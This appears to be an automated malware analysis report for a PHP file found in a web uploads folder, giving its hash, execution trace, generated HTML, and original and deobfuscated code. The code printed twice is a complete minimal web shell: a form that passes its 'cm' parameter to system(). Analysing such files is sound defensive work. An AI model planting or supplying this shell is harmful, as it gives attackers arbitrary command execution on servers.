PHP Malware Analysis
00000000ax.php
md5: fce6b4c9374d90445aaa2a024744da91
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Execution
- system (Deobfuscated, Original)
Input
- _GET (Deobfuscated, Original)
Deobfuscated PHP code
<?php
echo "<form method=\"get\">\r\n<input type=\"text\" name=\"cm\">\r\n<button type=\"submit\">Submit</button>\r\n</form>";
if (isset($_GET['cm'])) {
echo system($_GET['cm']);
}Execution traces
data/traces/fce6b4c9374d90445aaa2a024744da91_trace-1676253315.5736.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:55:41.471461]
1 0 1 0.000131 393528
1 3 0 0.000180 394528 {main} 1 /var/www/html/uploads/00000000ax.php 0 0
1 3 1 0.000201 394528
0.000255 314240
TRACE END [2023-02-12 23:55:41.471611]
Generated HTML code
<html><head></head><body><form method="get">
<input type="text" name="cm">
<button type="submit">Submit</button>
</form></body></html>Original PHP code
<?php
echo '<form method="get">
<input type="text" name="cm">
<button type="submit">Submit</button>
</form>';
if (isset($_GET['cm'])) {
echo system($_GET['cm']);
}
?>